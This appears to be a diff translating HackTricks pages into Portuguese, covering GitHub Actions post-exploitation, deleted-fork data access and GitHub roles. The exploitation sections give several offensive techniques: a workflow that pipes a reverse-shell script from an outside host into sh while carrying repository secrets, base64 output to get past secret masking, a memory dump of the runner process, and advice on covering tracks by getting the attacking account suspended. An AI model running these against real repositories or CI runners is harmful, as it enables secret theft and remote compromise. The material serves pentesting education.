Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
|
||||
Workflows podem usar **artefatos de outros workflows e até repositórios**, se um atacante conseguir **comprometer** a Github Action que **faz o upload de um artefato** que é posteriormente usado por outro workflow, ele poderá **comprometer os outros workflows**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
---
|
||||
|
||||
## Post Exploitation from an Action
|
||||
## Pós Exploração de uma Ação
|
||||
|
||||
### Accessing AWS and GCP via OIDC
|
||||
### Acessando AWS e GCP via OIDC
|
||||
|
||||
Check the following pages:
|
||||
Verifique as seguintes páginas:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -408,170 +390,160 @@ Check the following pages:
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
### Acessando segredos <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
If you are injecting content into a script it's interesting to know how you can access secrets:
|
||||
Se você estiver injetando conteúdo em um script, é interessante saber como você pode acessar segredos:
|
||||
|
||||
- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
|
||||
- Se o segredo ou token estiver definido como uma **variável de ambiente**, ele pode ser acessado diretamente através do ambiente usando **`printenv`**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
|
||||
<summary>Listar segredos na saída da Github Action</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- '**'
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- '**'
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- '**'
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- '**'
|
||||
jobs:
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get reverse shell with secrets</summary>
|
||||
|
||||
<summary>Obter shell reverso com segredos</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- For a JavaScript actions the secrets and sent through environment variables
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
|
||||
- Se o segredo for usado **diretamente em uma expressão**, o script shell gerado é armazenado **em disco** e é acessível.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- Para ações JavaScript, os segredos são enviados através de variáveis de ambiente.
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- Para uma **ação personalizada**, o risco pode variar dependendo de como um programa está usando o segredo que obteve do **argumento**:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
### Abusing Self-hosted runners
|
||||
### Abusando de runners auto-hospedados
|
||||
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
|
||||
A maneira de descobrir quais **Github Actions estão sendo executadas em infraestrutura não-Github** é procurar por **`runs-on: self-hosted`** na configuração yaml da Github Action.
|
||||
|
||||
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
|
||||
|
||||
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
|
||||
Runners **auto-hospedados** podem ter acesso a **informações extra sensíveis**, a outros **sistemas de rede** (pontos finais vulneráveis na rede? serviço de metadados?) ou, mesmo que esteja isolado e destruído, **mais de uma ação pode ser executada ao mesmo tempo** e a maliciosa poderia **roubar os segredos** da outra.
|
||||
|
||||
Em runners auto-hospedados, também é possível obter os **segredos do processo \_Runner.Listener**\_\*\* que conterá todos os segredos dos fluxos de trabalho em qualquer etapa, despejando sua memória:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
Verifique [**este post para mais informações**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
### Registro de Imagens Docker do Github
|
||||
|
||||
### Github Docker Images Registry
|
||||
|
||||
It's possible to make Github actions that will **build and store a Docker image inside Github**.\
|
||||
An example can be find in the following expandable:
|
||||
É possível criar ações do Github que **construirão e armazenarão uma imagem Docker dentro do Github**.\
|
||||
Um exemplo pode ser encontrado no seguinte expansível:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action Build & Push Docker Image</summary>
|
||||
|
||||
```yaml
|
||||
[...]
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v1
|
||||
uses: docker/setup-buildx-action@v1
|
||||
|
||||
- name: Login to GitHub Container Registry
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.ACTIONS_TOKEN }}
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.ACTIONS_TOKEN }}
|
||||
|
||||
- name: Add Github Token to Dockerfile to be able to download code
|
||||
run: |
|
||||
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
|
||||
run: |
|
||||
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
push: true
|
||||
tags: |
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
push: true
|
||||
tags: |
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
|
||||
|
||||
[...]
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
|
||||
|
||||
A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
|
||||
Como você pode ver no código anterior, o registro do Github está hospedado em **`ghcr.io`**.
|
||||
|
||||
Um usuário com permissões de leitura sobre o repositório poderá então baixar a Imagem Docker usando um token de acesso pessoal:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
|
||||
Then, the user could search for **leaked secrets in the Docker image layers:**
|
||||
Então, o usuário poderia procurar por **segredos vazados nas camadas da imagem Docker:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive info in Github Actions logs
|
||||
### Informações sensíveis nos logs do Github Actions
|
||||
|
||||
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Mesmo que o **Github** tente **detectar valores secretos** nos logs das ações e **evitar mostrar** eles, **outros dados sensíveis** que poderiam ter sido gerados na execução da ação não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que seja [especificamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Covering your Tracks
|
||||
## Cobrir suas Trilhas
|
||||
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
|
||||
(Técnica de [**aqui**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primeiro de tudo, qualquer PR levantada é claramente visível ao público no Github e à conta alvo do GitHub. No GitHub, por padrão, **não podemos deletar um PR da internet**, mas há uma reviravolta. Para contas do Github que estão **suspensas** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Portanto, para esconder sua atividade, você precisa ou ter sua **conta do GitHub suspensa ou ter sua conta sinalizada**. Isso **esconderia todas as suas atividades** no GitHub da internet (basicamente remover todos os seus PRs de exploração)
|
||||
|
||||
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
|
||||
Uma organização no GitHub é muito proativa em relatar contas ao GitHub. Tudo que você precisa fazer é compartilhar “algumas coisas” em uma Issue e eles garantirão que sua conta seja suspensa em 12 horas :p e aí está, fez sua exploração invisível no github.
|
||||
|
||||
> [!WARNING]
|
||||
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
|
||||
> A única maneira de uma organização descobrir que foi alvo é verificar os logs do GitHub a partir do SIEM, pois na interface do GitHub o PR seria removido.
|
||||
|
||||
## Tools
|
||||
## Ferramentas
|
||||
|
||||
The following tools are useful to find Github Action workflows and even find vulnerable ones:
|
||||
As seguintes ferramentas são úteis para encontrar fluxos de trabalho do Github Action e até mesmo encontrar vulneráveis:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+1
-6
@@ -1,6 +1 @@
|
||||
# Gh Actions - Artifact Poisoning
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Gh Actions - Poisonamento de Artefatos
|
||||
|
||||
-5
@@ -1,6 +1 @@
|
||||
# GH Actions - Cache Poisoning
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+1
-6
@@ -1,6 +1 @@
|
||||
# Gh Actions - Context Script Injections
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Gh Actions - Injeções de Script de Contexto
|
||||
|
||||
@@ -1,60 +1,56 @@
|
||||
# Accessible Deleted Data in Github
|
||||
# Dados Deletados Acessíveis no Github
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
Essas maneiras de acessar dados do Github que supostamente foram deletados foram [**reportadas neste post do blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
|
||||
## Accessing Deleted Fork Data
|
||||
## Acessando Dados de Forks Deletados
|
||||
|
||||
1. You fork a public repository
|
||||
2. You commit code to your fork
|
||||
3. You delete your fork
|
||||
1. Você faz um fork de um repositório público
|
||||
2. Você comita código no seu fork
|
||||
3. Você deleta seu fork
|
||||
|
||||
> [!CAUTION]
|
||||
> The data commited in the deleted fork is still accessible.
|
||||
> Os dados comitados no fork deletado ainda estão acessíveis.
|
||||
|
||||
## Accessing Deleted Repo Data
|
||||
## Acessando Dados de Repositórios Deletados
|
||||
|
||||
1. You have a public repo on GitHub.
|
||||
2. A user forks your repo.
|
||||
3. You commit data after they fork it (and they never sync their fork with your updates).
|
||||
4. You delete the entire repo.
|
||||
1. Você tem um repositório público no GitHub.
|
||||
2. Um usuário faz fork do seu repositório.
|
||||
3. Você comita dados após eles fazerem o fork (e eles nunca sincronizam seu fork com suas atualizações).
|
||||
4. Você deleta o repositório inteiro.
|
||||
|
||||
> [!CAUTION]
|
||||
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
|
||||
> Mesmo que você tenha deletado seu repositório, todas as alterações feitas nele ainda estão acessíveis através dos forks.
|
||||
|
||||
## Accessing Private Repo Data
|
||||
## Acessando Dados de Repositórios Privados
|
||||
|
||||
1. You create a private repo that will eventually be made public.
|
||||
2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
|
||||
3. You make your “upstream” repository public and keep your fork private.
|
||||
1. Você cria um repositório privado que eventualmente será tornado público.
|
||||
2. Você cria uma versão interna privada desse repositório (via fork) e comita código adicional para recursos que você não vai tornar públicos.
|
||||
3. Você torna seu repositório “upstream” público e mantém seu fork privado.
|
||||
|
||||
> [!CAUTION]
|
||||
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
|
||||
> É possível acessar todos os dados enviados para o fork interno no período entre a criação do fork interno e a versão pública sendo tornada pública.
|
||||
|
||||
## How to discover commits from deleted/hidden forks
|
||||
## Como descobrir commits de forks deletados/ocultos
|
||||
|
||||
The same blog post propose 2 options:
|
||||
O mesmo post do blog propõe 2 opções:
|
||||
|
||||
### Directly accessing the commit
|
||||
### Acessando diretamente o commit
|
||||
|
||||
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
Se o valor do ID do commit (sha-1) for conhecido, é possível acessá-lo em `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
|
||||
### Brute-forcing short SHA-1 values
|
||||
### Forçando valores SHA-1 curtos
|
||||
|
||||
It's the same to access both of these:
|
||||
É o mesmo para acessar ambos:
|
||||
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
|
||||
|
||||
And the latest one use a short sha-1 that is bruteforceable.
|
||||
E o último usa um sha-1 curto que é forçável.
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,250 +1,244 @@
|
||||
# Basic Github Information
|
||||
# Informações Básicas do Github
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Structure
|
||||
## Estrutura Básica
|
||||
|
||||
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
|
||||
A estrutura básica do ambiente github de uma grande **empresa** é possuir uma **empresa** que possui **várias organizações** e cada uma delas pode conter **vários repositórios** e **várias equipes**. Empresas menores podem **possuir apenas uma organização e nenhuma empresa**.
|
||||
|
||||
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
|
||||
Do ponto de vista do usuário, um **usuário** pode ser um **membro** de **diferentes empresas e organizações**. Dentro delas, o usuário pode ter **diferentes funções de empresa, organização e repositório**.
|
||||
|
||||
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
|
||||
Além disso, um usuário pode ser **parte de diferentes equipes** com diferentes funções de empresa, organização ou repositório.
|
||||
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
E finalmente, **os repositórios podem ter mecanismos de proteção especiais**.
|
||||
|
||||
## Privileges
|
||||
## Privilégios
|
||||
|
||||
### Enterprise Roles
|
||||
### Funções de Empresa
|
||||
|
||||
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
|
||||
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
|
||||
- **Proprietário da empresa**: Pessoas com essa função podem **gerenciar administradores, gerenciar organizações dentro da empresa, gerenciar configurações da empresa, impor políticas entre organizações**. No entanto, eles **não podem acessar configurações ou conteúdo da organização** a menos que sejam designados como proprietários da organização ou tenham acesso direto a um repositório de propriedade da organização.
|
||||
- **Membros da empresa**: Membros de organizações pertencentes à sua empresa também são **automaticamente membros da empresa**.
|
||||
|
||||
### Organization Roles
|
||||
### Funções de Organização
|
||||
|
||||
In an organisation users can have different roles:
|
||||
Em uma organização, os usuários podem ter diferentes funções:
|
||||
|
||||
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
|
||||
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
|
||||
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
|
||||
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
|
||||
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
|
||||
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
|
||||
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
|
||||
- **Proprietários da organização**: Proprietários da organização têm **acesso administrativo completo à sua organização**. Essa função deve ser limitada, mas não a menos de duas pessoas, em sua organização.
|
||||
- **Membros da organização**: A função **padrão**, não administrativa, para **pessoas em uma organização** é o membro da organização. Por padrão, os membros da organização **têm um número de permissões**.
|
||||
- **Gerentes de cobrança**: Gerentes de cobrança são usuários que podem **gerenciar as configurações de cobrança da sua organização**, como informações de pagamento.
|
||||
- **Gerentes de Segurança**: É uma função que os proprietários da organização podem atribuir a qualquer equipe em uma organização. Quando aplicada, dá a cada membro da equipe permissões para **gerenciar alertas e configurações de segurança em sua organização, bem como permissões de leitura para todos os repositórios** na organização.
|
||||
- Se sua organização tiver uma equipe de segurança, você pode usar a função de gerente de segurança para dar aos membros da equipe o menor acesso necessário à organização.
|
||||
- **Gerentes de Aplicativos do Github**: Para permitir que usuários adicionais **gerenciem Aplicativos do GitHub de propriedade de uma organização**, um proprietário pode conceder a eles permissões de gerente de Aplicativos do GitHub.
|
||||
- **Colaboradores externos**: Um colaborador externo é uma pessoa que tem **acesso a um ou mais repositórios da organização, mas não é explicitamente um membro** da organização.
|
||||
|
||||
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
Você pode **comparar as permissões** dessas funções nesta tabela: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### Members Privileges
|
||||
### Privilégios dos Membros
|
||||
|
||||
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
|
||||
Em _https://github.com/organizations/\<org_name>/settings/member_privileges_ você pode ver as **permissões que os usuários terão apenas por serem parte da organização**.
|
||||
|
||||
The settings here configured will indicate the following permissions of members of the organisation:
|
||||
As configurações aqui configuradas indicarão as seguintes permissões dos membros da organização:
|
||||
|
||||
- Be admin, writer, reader or no permission over all the organisation repos.
|
||||
- If members can create private, internal or public repositories.
|
||||
- If forking of repositories is possible
|
||||
- If it's possible to invite outside collaborators
|
||||
- If public or private sites can be published
|
||||
- The permissions admins has over the repositories
|
||||
- If members can create new teams
|
||||
- Ser administrador, escritor, leitor ou sem permissão sobre todos os repositórios da organização.
|
||||
- Se os membros podem criar repositórios privados, internos ou públicos.
|
||||
- Se o fork de repositórios é possível.
|
||||
- Se é possível convidar colaboradores externos.
|
||||
- Se sites públicos ou privados podem ser publicados.
|
||||
- As permissões que os administradores têm sobre os repositórios.
|
||||
- Se os membros podem criar novas equipes.
|
||||
|
||||
### Repository Roles
|
||||
### Funções de Repositório
|
||||
|
||||
By default repository roles are created:
|
||||
Por padrão, as funções de repositório são criadas:
|
||||
|
||||
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
|
||||
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
|
||||
- **Write**: Recommended for contributors who **actively push to your project**
|
||||
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
|
||||
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
|
||||
- **Leitura**: Recomendado para **contribuidores não relacionados ao código** que desejam visualizar ou discutir seu projeto.
|
||||
- **Triagem**: Recomendado para **contribuidores que precisam gerenciar proativamente problemas e pull requests** sem acesso de escrita.
|
||||
- **Escrita**: Recomendado para contribuintes que **enviam ativamente para seu projeto**.
|
||||
- **Manutenção**: Recomendado para **gerentes de projeto que precisam gerenciar o repositório** sem acesso a ações sensíveis ou destrutivas.
|
||||
- **Admin**: Recomendado para pessoas que precisam de **acesso total ao projeto**, incluindo ações sensíveis e destrutivas, como gerenciar segurança ou excluir um repositório.
|
||||
|
||||
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
Você pode **comparar as permissões** de cada função nesta tabela [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
Você também pode **criar suas próprias funções** em _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
|
||||
### Teams
|
||||
### Equipes
|
||||
|
||||
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
|
||||
Você pode **listar as equipes criadas em uma organização** em _https://github.com/orgs/\<org_name>/teams_. Observe que, para ver as equipes que são filhas de outras equipes, você precisa acessar cada equipe pai.
|
||||
|
||||
### Users
|
||||
### Usuários
|
||||
|
||||
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
|
||||
Os usuários de uma organização podem ser **listados** em _https://github.com/orgs/\<org_name>/people._
|
||||
|
||||
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
|
||||
Nas informações de cada usuário, você pode ver as **equipes das quais o usuário é membro** e os **repositórios aos quais o usuário tem acesso**.
|
||||
|
||||
## Github Authentication
|
||||
## Autenticação do Github
|
||||
|
||||
Github offers different ways to authenticate to your account and perform actions on your behalf.
|
||||
O Github oferece diferentes maneiras de autenticar sua conta e realizar ações em seu nome.
|
||||
|
||||
### Web Access
|
||||
### Acesso Web
|
||||
|
||||
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
|
||||
Acessando **github.com**, você pode fazer login usando seu **nome de usuário e senha** (e um **2FA potencialmente**).
|
||||
|
||||
### **SSH Keys**
|
||||
### **Chaves SSH**
|
||||
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
Você pode configurar sua conta com uma ou várias chaves públicas permitindo que a **chave privada relacionada realize ações em seu nome.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
#### **Chaves GPG**
|
||||
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
Você **não pode se passar pelo usuário com essas chaves**, mas se você não as usar, pode ser possível que você **seja descoberto por enviar commits sem uma assinatura**. Saiba mais sobre [modo vigilante aqui](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### **Personal Access Tokens**
|
||||
### **Tokens de Acesso Pessoal**
|
||||
|
||||
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
Você pode gerar um token de acesso pessoal para **dar a um aplicativo acesso à sua conta**. Ao criar um token de acesso pessoal, o **usuário** precisa **especificar** as **permissões** que o **token** terá. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth Applications
|
||||
### Aplicativos Oauth
|
||||
|
||||
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
|
||||
Aplicativos Oauth podem solicitar permissões **para acessar parte das suas informações do github ou para se passar por você** para realizar algumas ações. Um exemplo comum dessa funcionalidade é o **botão de login com github** que você pode encontrar em algumas plataformas.
|
||||
|
||||
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
- Você pode **criar** seus próprios **aplicativos Oauth** em [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Você pode ver todos os **aplicativos Oauth que têm acesso à sua conta** em [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
